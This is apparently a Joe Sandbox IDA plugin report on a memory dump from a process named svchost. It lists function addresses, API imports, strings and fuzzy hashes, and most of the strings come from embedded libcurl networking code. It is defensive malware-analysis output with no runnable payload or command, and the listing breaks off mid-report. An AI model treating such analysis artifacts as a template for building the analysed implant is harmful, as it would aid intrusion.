Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: _strdupstrcspn
String ID: %s%s$() {%*]\"$LIST "%s" *
API String ID: 3695213020-1363964841
Opcode ID: 4c0b89fa279ba62d6b696ebe0fac23c78ba0318a377c95cdb86f7bd5457708f7
Instruction ID: 29c940c6768f8c372b6944929edff8b5fb0d20f10bec4529d1923655bdd3ae1d
Opcode Fuzzy Hash: 4c0b89fa279ba62d6b696ebe0fac23c78ba0318a377c95cdb86f7bd5457708f7
Instruction Fuzzy Hash: 3741913920C68A91EBB28B95E4803DDE7B0AB45FD4FC80121DA6D077D5FB6CC741AB50

Function 00000173D0177440 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 86COMMON

Download Yara Rule

Strings

%s: %s, %02d %s %4d %02d:%02d:%02d GMT, xrefs: 00000173D017754A
If-Unmodified-Since, xrefs: 00000173D01774D3
If-Modified-Since, xrefs: 00000173D01774E2
Invalid TIMEVALUE, xrefs: 00000173D017748E
Last-Modified, xrefs: 00000173D01774C4

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: _gmtime64
String ID: %s: %s, %02d %s %4d %02d:%02d:%02d GMT$If-Modified-Since$If-Unmodified-Since$Invalid TIMEVALUE$Last-Modified
API String ID: 1355024304-4153637960
Opcode ID: 5a0679d5686de0adceff9f51d142b256cbefe22dce193e245b42af48054b9b40
Instruction ID: 631d82509e44603971802a474968dff261a90926ac0c1785d8e5285c80242a5a
Opcode Fuzzy Hash: 5a0679d5686de0adceff9f51d142b256cbefe22dce193e245b42af48054b9b40
Instruction Fuzzy Hash: AC411E3920CB8186E770DB95E4503DAE7B1F38ABC0F940126EA5E47B99EB79D641DB00

Function 00000173D0167430 Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 461stringCOMMON

Download Yara Rule

APIs

strchr.VCRUNTIME140 ref: 00000173D01674B8
memmove.VCRUNTIME140 ref: 00000173D01674F9
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00000173D01677B3

Strings

Failed to encode DoH packet [%d], xrefs: 00000173D01675B0
https, xrefs: 00000173D0167628

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: __acrt_iob_funcmemmovestrchr
String ID: Failed to encode DoH packet [%d]$https
API String ID: 4033746602-1520151043
Opcode ID: e4c5fd03ec8ce9b657c010176a12e4d723095ae9b07db94a24dc2a9c833f3eb5
Instruction ID: a4b01a71ed88ce9d7d884af889f83d976249c415d563275707cee2e6f6b9f27b
Opcode Fuzzy Hash: e4c5fd03ec8ce9b657c010176a12e4d723095ae9b07db94a24dc2a9c833f3eb5
Instruction Fuzzy Hash: 0402F07A21979001EB349A90D8487FEE764EB41FC8FD58625DE2E077C2FB25C641A380

Function 00000173D01AE3E0 Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 00000173D01AE340: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01AE366
Part of subcall function 00000173D01AE340: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01AE387
Part of subcall function 00000173D01AE340: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01AE3A2
Part of subcall function 00000173D01AE340: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01AE3B0
Part of subcall function 00000173D01AE340: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01AE3C2

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,HTTP,00000173D017E5CD,00000173D0153E76), ref: 00000173D01AE46C

Strings

NTLM, xrefs: 00000173D01AE41D, 00000173D01AE4D8
HTTP, xrefs: 00000173D01AE3EA
SSPI: could not get auth info, xrefs: 00000173D01AE42E

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: free$malloc
String ID: HTTP$NTLM$SSPI: could not get auth info
API String ID: 2190258309-1428047303
Opcode ID: a707bc4b4b0493cab4ba14752b9b29a423daba1bd5b33d879bead69c4d2b8401
Instruction ID: 8b12e2c79b40f9d9ed6cb3de8c9723e26dcda0f4a6a673466b49f31e70dbbef1
Opcode Fuzzy Hash: a707bc4b4b0493cab4ba14752b9b29a423daba1bd5b33d879bead69c4d2b8401
Instruction Fuzzy Hash: 4461483A208B8086EB708F55E48039AB7F5F788FC4F944425DA9D43B68EF38C655EB40

Function 00000173D016D560 Relevance: 9.1, APIs: 1, Strings: 5, Instructions: 144stringCOMMON

Download Yara Rule

APIs

strstr.VCRUNTIME140 ref: 00000173D016D631

Strings

Maxdownload = %lld, xrefs: 00000173D016D6B2, 00000173D016D754
RETR response: %03d, xrefs: 00000173D016D5BB
Data conn was not available immediately, xrefs: 00000173D016D70E
bytes, xrefs: 00000173D016D624
Getting file with size: %lld, xrefs: 00000173D016D6CC

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: strstr
String ID: bytes$Data conn was not available immediately$Getting file with size: %lld$Maxdownload = %lld$RETR response: %03d
API String ID: 1392478783-1361617395
Opcode ID: 7ed2df5fb296cb3b7918dc729f437e95104ca142180c5a307f7952e46ce5bb40
Instruction ID: b9e94e55241006d06a6e06b84fce022b8809052a8fcf234e96eb8739f6863228
Opcode Fuzzy Hash: 7ed2df5fb296cb3b7918dc729f437e95104ca142180c5a307f7952e46ce5bb40
Instruction Fuzzy Hash: B751F87AE0868045FB7597A9EC053EDE2B0D385FE4FD80221DA7D066D6FB28C780A300

Function 00000173D01AC340 Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 127stringCOMMON

Download Yara Rule

APIs

strstr.VCRUNTIME140 ref: 00000173D01AC374
strchr.VCRUNTIME140 ref: 00000173D01AC392
strchr.VCRUNTIME140 ref: 00000173D01AC3A2

Strings

%, xrefs: 00000173D01AC49D
%20, xrefs: 00000173D01AC428
0123456789abcdef, xrefs: 00000173D01AC3FE

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: strchr$strstr
String ID: %$%20$0123456789abcdef
API String ID: 1654209344-876311552
Opcode ID: 1961a64fb4a6ab28c183b2990609a5b1363807b83975f49ecd1153e7572903c5
Instruction ID: 0168c73a927905c485cc3a17759afba4fb7ae88178947c9ccfa7f5d6996ee792
Opcode Fuzzy Hash: 1961a64fb4a6ab28c183b2990609a5b1363807b83975f49ecd1153e7572903c5
Instruction Fuzzy Hash: F841792970C28509FE3296A6D4203FAD6A1B708FE4FC84221DD7E57BC5F728CA47A304

Function 00000173D0173460 Relevance: 7.7, APIs: 6, Instructions: 213stringCOMMON

Download Yara Rule

APIs

strchr.VCRUNTIME140(?,?,?,00000173D01732E4), ref: 00000173D017349E
strchr.VCRUNTIME140(?,?,?,00000173D01732E4), ref: 00000173D01734B3
memmove.VCRUNTIME140(?,?,?,00000173D01732E4), ref: 00000173D01735C5
calloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00000173D01732E4), ref: 00000173D0173624
memmove.VCRUNTIME140(?,?,?,00000173D01732E4), ref: 00000173D0173649

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: memmovestrchr$calloc
String ID:
API String ID: 2412758169-0
Opcode ID: 2fa393d124ef89bde96e505b8582a5e2ed7aa2abe3123bfcf398ad2d1efb8800
Instruction ID: 54977c150f2e2ef69ad4837dc48bfe057aefc7007928a4c12294a2c902fa88a2
Opcode Fuzzy Hash: 2fa393d124ef89bde96e505b8582a5e2ed7aa2abe3123bfcf398ad2d1efb8800
Instruction Fuzzy Hash: 1681D47A20C69499FB75CAA5D1443E9EBF5A785FC4FE80111EAAD073C1F728C792A300

Function 00000173D01796A0 Relevance: 7.6, APIs: 6, Instructions: 88COMMON

Download Yara Rule

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00000173D017EA60,?,?,?,?,?,?,00000000,?,?,00000173D0153E76), ref: 00000173D01796EC
memmove.VCRUNTIME140(?,00000000,00000173D017EA60,?,?,?,?,?,?,00000000,?,?,00000173D0153E76), ref: 00000173D017970A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,00000173D017EA60,?,?,?,?,?,?,00000000,?,?,00000173D0153E76), ref: 00000173D017976B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,00000173D017EA60,?,?,?,?,?,?,00000000,?,?,00000173D0153E76), ref: 00000173D0179775
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,00000173D017EA60,?,?,?,?,?,?,00000000,?,?,00000173D0153E76), ref: 00000173D017977F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,00000173D017EA60,?,?,?,?,?,?,00000000,?,?,00000173D0153E76), ref: 00000173D017979A

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: free$callocmemmove
String ID:
API String ID: 2309541529-0
Opcode ID: 572deabb6b8290a8f7ffaca18cab45e40f293e6de7533773985693bb88463552
Instruction ID: 33dda55792b15bb7e5c9f3cdd5c4e2db79a9b919446b8b5374ebdcf21d47b8c9
Opcode Fuzzy Hash: 572deabb6b8290a8f7ffaca18cab45e40f293e6de7533773985693bb88463552
Instruction Fuzzy Hash: EC312C39219A4082EA24DF96E85039DA3B4FBC8FD4F940125AEAD07B59FF38CA45D740

Function 00000173D0152800 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00000173D0152833
LeaveCriticalSection.KERNEL32 ref: 00000173D0152847
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D0152876
closesocket.WS2_32 ref: 00000173D015288A
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01528A8

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: CriticalSectionfree$EnterLeaveclosesocket
String ID:
API String ID: 240345047-0
Opcode ID: 4cea47bae9313296a911b173c89c3e3574eeee76c9b46606255648ab9b2db02e
Instruction ID: 036d07b99b9f782c383d9fdb94962993671756cf00cf5379283cc7971ff5716a
Opcode Fuzzy Hash: 4cea47bae9313296a911b173c89c3e3574eeee76c9b46606255648ab9b2db02e
Instruction Fuzzy Hash: 9B11293A208A0087E7249F92E58439EB3B0F78AFD0F840121DF6E07B54EF78D5A5A710

Function 00000173D01B6865 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 108COMMON

Download Yara Rule

APIs

SimpleString::operator=.MSOBJ140-MSVCRT ref: 00000173D01B6889

Strings

Serial Number, xrefs: 00000173D01B6C5A, 00000173D01B6C81
Signature Algorithm, xrefs: 00000173D01B6D3D, 00000173D01B6D64
%s: %s, xrefs: 00000173D01B6C88, 00000173D01B6D6B

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: SimpleString::operator=
String ID: %s: %s$Serial Number$Signature Algorithm
API String ID: 356670603-1527603233
Opcode ID: d39f760e66e6e89a809a7dbd22f4cd13c6f27c08643c5210298e3da13c489cfa
Instruction ID: 1121c2dc2ec92d45a828d7e9614b9ee342409bd1d004a725790979f963897d7b
Opcode Fuzzy Hash: d39f760e66e6e89a809a7dbd22f4cd13c6f27c08643c5210298e3da13c489cfa
Instruction Fuzzy Hash: 94418A7A30878685EB329BE1D8503E9A7B1B756FC4FC40515AEAD5778AFB38C640E340

Function 00000173D01564A0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 84networkCOMMON

Download Yara Rule

APIs

recv.WS2_32 ref: 00000173D01564F2
WSAGetLastError.WS2_32 ref: 00000173D0156504

Strings

Recv failure: %s, xrefs: 00000173D0156553
recv(len=%zu) -> %d, err=%d, xrefs: 00000173D0156527, 00000173D0156578

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: ErrorLastrecv
String ID: Recv failure: %s$recv(len=%zu) -> %d, err=%d
API String ID: 2514157807-2495832097
Opcode ID: bed5f14da304bbb2045fd42038e80d1795d9aec1cf0dcfeb36a033d7ec83f45d
Instruction ID: c863433f2ada0e6218f0e71fdd939a4224aad970e8de5f7617323a4ef2d6173e
Opcode Fuzzy Hash: bed5f14da304bbb2045fd42038e80d1795d9aec1cf0dcfeb36a033d7ec83f45d
Instruction Fuzzy Hash: A631D4762086808AE6359F96E8547E9F7B0B789FD4F844115AEAD0B795FB3CC281DB00

Function 00000173D01784E0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D0178321
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D0178333
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D0178596
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00000173D01785D6

Strings

Last-Modified:, xrefs: 00000173D0178506
Location:, xrefs: 00000173D0178560

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: free$_strdup
String ID: Last-Modified:$Location:
API String ID: 2653869212-3815226001
Opcode ID: fac2aac935aee08a2f2fa3627afe3cb91424137be28187364b23d06d483cc389
Instruction ID: d2fb139582f1bb5de3822a70caac505d8b6d6a6652c8366d541edafe5c0d0f6a
Opcode Fuzzy Hash: fac2aac935aee08a2f2fa3627afe3cb91424137be28187364b23d06d483cc389
Instruction Fuzzy Hash: AE318F7924D780C5FB719BA5D4043E8A2B0D786FDAF8804358E2D4B6D5FB28CA80EB15

Function 00000173D01A4710 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 74COMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00000173D01A480E

Strings

Connection died, retrying a fresh connect (retry count: %d), xrefs: 00000173D01A47FB
REFUSED_STREAM, retrying a fresh connect, xrefs: 00000173D01A479E
Connection died, tried %d times before giving up, xrefs: 00000173D01A47D0

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: _strdup
String ID: Connection died, retrying a fresh connect (retry count: %d)$Connection died, tried %d times before giving up$REFUSED_STREAM, retrying a fresh connect
API String ID: 1169197092-4242497519
Opcode ID: a1902d478be4f8422c5172883111271925af11bc5d3f7a20674d84e107390f10
Instruction ID: 496ef429f503f49f5a27296896a997ac3d1dde4e1228464814b0cac56eb5d5ee
Opcode Fuzzy Hash: a1902d478be4f8422c5172883111271925af11bc5d3f7a20674d84e107390f10
Instruction Fuzzy Hash: 73318D3A6096D082F7668B99E4443D9B7B0F785FC8F884034EB6D0B795EB29C696D700

Function 00000173D01A3460 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

_time64.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00000173D01A3549

Strings

Connection time-out, xrefs: 00000173D01A3487
set timeouts for state %d; Total % lld, retry %d maxtry %d, xrefs: 00000173D01A352C
gfff, xrefs: 00000173D01A34D0

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: _time64
String ID: Connection time-out$gfff$set timeouts for state %d; Total % lld, retry %d maxtry %d
API String ID: 1670930206-2826722092
Opcode ID: dbf2721e6b1ab55ce9c62074772d5bbaf42ee43c46be42273c0cc3afc3a17f35
Instruction ID: 2562e53b827272c70aa227bd196cd2893ded4820d695cfd6c6c618fe9afd2267
Opcode Fuzzy Hash: dbf2721e6b1ab55ce9c62074772d5bbaf42ee43c46be42273c0cc3afc3a17f35
Instruction Fuzzy Hash: 5B21077972421586EB34CFAAE4017D9A7B0F358FC8F901412ED1D8B784F779C2529700

Function 00000173D01AC510 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

zlibVersion.ZLIB1 ref: 00000173D01AC56A
memmove.VCRUNTIME140 ref: 00000173D01AC5E6

Strings

zlib/%s, xrefs: 00000173D01AC570
libcurl/8.10.1-DEV, xrefs: 00000173D01AC53F

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: Versionmemmovezlib
String ID: libcurl/8.10.1-DEV$zlib/%s
API String ID: 374951376-477685120
Opcode ID: dd9bd3c64a7a3ac15a3e76413409a0eea37169667ef86f096f87415fa1e49075
Instruction ID: 10d988438a828e0881fb554fe2976b89091eb6d157b26c66ba1e2721aeaa15e6
Opcode Fuzzy Hash: dd9bd3c64a7a3ac15a3e76413409a0eea37169667ef86f096f87415fa1e49075
Instruction Fuzzy Hash: C4318E3A609B8485E7218F50E4403DAB7B4F389BD4FC45222DAAD23795EB38C606D740

Function 00000173D0194500 Relevance: 6.3, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 00000173D01941D0: calloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,00000173D0194525), ref: 00000173D019420E
Part of subcall function 00000173D01941D0: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,00000173D0194525), ref: 00000173D0194242

calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D019453C
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D0194581
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D0194591
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01945DA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01945F4

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: free$calloc
String ID:
API String ID: 3095843317-0
Opcode ID: aae62e64d7a478b159b68f52773ff21e0be0dfebdbbd68c2197941eca1024f41
Instruction ID: f2e72f774b36b68939903b19cb1315fbcf4a5e15f12b52493230c1284dfbd9d9
Opcode Fuzzy Hash: aae62e64d7a478b159b68f52773ff21e0be0dfebdbbd68c2197941eca1024f41
Instruction Fuzzy Hash: 51216BB9208B1083FB648FA6F9543A9A2B5AB48FC4F840025DE6E47798FF3CC6459341

Function 00000173D01AE340 Relevance: 6.3, APIs: 5, Instructions: 38COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01AE366
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01AE387
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01AE3A2
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01AE3B0
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01AE3C2

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: ba293342d94ffe3c8aeb5c9959f4e856eb7cec13775bd3ec34c091d467a898c7
Instruction ID: 9e4baf3fd482cc4af6256903c516914dbf11d7d03cb2828e0405cd9a4e7998c6
Opcode Fuzzy Hash: ba293342d94ffe3c8aeb5c9959f4e856eb7cec13775bd3ec34c091d467a898c7
Instruction Fuzzy Hash: 9711D63A205B4082EB149F69E89026CB3B4FB89FD4F444115CE6E47724EF34C992D750

Function 00000173D01613C0 Relevance: 6.3, APIs: 5, Instructions: 17COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01613CD
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01613D7
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01613E1
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01613EB
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01613F5

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

